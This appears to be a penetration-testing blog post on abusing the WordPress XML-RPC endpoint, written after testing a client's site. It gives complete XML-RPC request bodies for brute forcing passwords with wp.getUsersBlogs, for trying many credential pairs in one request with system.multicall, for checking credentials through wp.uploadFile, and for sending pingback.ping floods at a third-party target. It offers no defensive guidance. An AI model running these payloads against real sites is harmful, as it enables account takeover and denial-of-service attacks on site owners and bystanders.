Recently i was playing with one of my client project which is a WordPress site.then i’ve seen interesting path that burp suite caught which is something like this
https://site.com/xmlrpc.php
then eventually i googled and did some research about wordpress xmlrpc, and its says
XML-RPC on WordPress is actually an API or “application program interface“. It gives developers who make mobile apps, desktop apps and other services the ability to talk to your WordPress site. The XML-RPC API that WordPress provides gives developers a way to write applications (for you) that can do many of the things that you can do when logged into WordPress via the web interface
and its enable performs following operations such as
- Publish a post
- Edit a post
- Delete a post.
- Upload a new file (e.g. an image for a post)
- Get a list of comments
- Edit comments
Exploiting XML RPC
1.Brute force attacks
When looking into the above mentioned APIs calls; it’s required a user authentication to perform successful operation. In order to obtain the user credentials, we can perform brute force attack against the user accounts. And the most important thing is most of the security plugins hide WordPress login page and add captcha when users are unable to provide correct credentials more than 3 times, but using XMLRPC we can bypass all these and perform attacks. Before we move into that we should check whether XMLRPC is enabled or not in the target website, to check that we need to send following GET request to WordPress site
https://site.com/xmlrpc.php
in this example I’m using burp suite to intercept and send requests.
If XMLRPC is enabled, server returns something like this “XML-RPC server accepts POST requests only.”
Now let’s check what API functions that we can actually access. To do that we need to send a POST request to xmlrpc with following body:
<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
As you can see it returns us a response with available list of functions that we can access.
There are several functions that we can use to do brute force attacks, but we are going to focus on few functions that are good and fast. such as
- system.multicall
- wp.UploadFile
- wp.getUsersBlogs
Lets try wp.getUsersBlogs function
Request Type:POST <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>username</value></param> <param><value>password</value></param> </params> </methodCall>
As you can see if user name and/or password is incorrect it returns the error message by saying “incorrect username or password”
Else you can see a nice response depicted above. If brute forced user is an admin, it returns the value isAdmin with numeric value 1
The Second function is “system.multicall” which is a special one because we can try out high number of combinations with a single request(Amplification Brute force attack). for example if we try out 20 combinations of user name and passwords with wp.getUsersBlogs its send 20 request to server, but with multicall we can do it with single request.lets see how to do it.
<methodCall> <methodName>system.multicall</methodName> <params> <param><value><array><data> <value><struct> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> <member> <name>params</name><value><array><data> <value><array><data> <value><string>admin</string></value> <value><string>admin</string></value> </data></array></value> </data></array></value> </member> </struct></value> <value><struct> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> <member> <name>params</name> <value><array><data> <value><array><data> <value><string>admin</string></value> <value><string>admin1</string></value> </data></array></value> </data></array></value> </member> </struct></value> <value><struct> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> <member> <name>params</name> <value><array><data> <value><array><data> <value><string>admin</string></value> <value><string>admin3</string></value> </data></array></value> </data></array></value> </member> </struct></value> </data></array></value> </param> </params> </methodCall>
In the above code we tried out 4 combinations with single request.
Now let’s try wp.uploadFile function. This is my favorite method, because a lot of sites allow this by default and always works.
Request Type:POST xml version='1.0' encoding='utf-8'?> <methodCall> <methodName>wp.uploadFile</methodName> <params> <param><value><string>1</string></value></param> <param><value><string>test</string></value></param> <param><value><string>test</string></value></param> <param> <value> <struct> <member> <name>name</name> <value><string>file.jpg</string></value> </member> <member> <name>type</name> <value><string>mime/type</string></value> </member> <member> <name>bits</name> <value><base64><![CDATA[---base64-encoded-data---]]></base64></value> </member> </struct> </value> </param> </params> </methodCall>
if the username and password is not correct its return incorrect password message in return like every other function,else its return the response like this
HTTP/1.1 200 OK Date: Server: Apache/2.4.18 ( Connection: close Vary: Accept-Encoding Content-Length: 507 Content-Type: text/xml; charset=UTF-8 <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value> <struct> <member> <name>faultCode</name> <value><int>500</int></value> </member> <member> <name>faultString</name> <value><string>Could not write file file.jpg (Unable to create directory wp-content/uploads/2018/01. Is its parent directory writable by the server?).</string></value> </member> </struct> </value> </fault> </methodResponse>
Now let’s Combine multicall and wp.UploadFile function and try it out.
<methodCall> <methodName>system.multicall</methodName> <params> <param><value><array><data> <value><struct> <member> <name>methodName</name> <value><string>wp.uploadFile</string></value> </member> <member> <name>params</name><value><array><data> <value><array><data> <value><string>1</string></value> <value><string>admin</string></value> <value><string>password</string></value> </data></array></value> </data></array></value> </member> </struct></value> <value><struct> <member> <name>methodName</name> <value><string>wp.uploadFile</string></value> </member> <member> <name>params</name><value><array><data> <value><array><data> <value><string>1</string></value> <value><string>admin2</string></value> <value><string>test123</string></value> </data></array></value> </data></array></value> </member> </struct></value> </data></array></value> </param> </params> </methodCall>
Response
<?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><struct> <member><name>faultCode</name><value><int>500</int></value></member> <member><name>faultString</name><value><string>Could not write file (Empty filename).</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> </data></array> </value> </param> </params> </methodResponse>
2.DDOS Attacks
And yes using XMLRPC we can Simply ping back other servers by giving simple post Request like this.
<methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://target/</string></value></param> <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param> </params> </methodCall>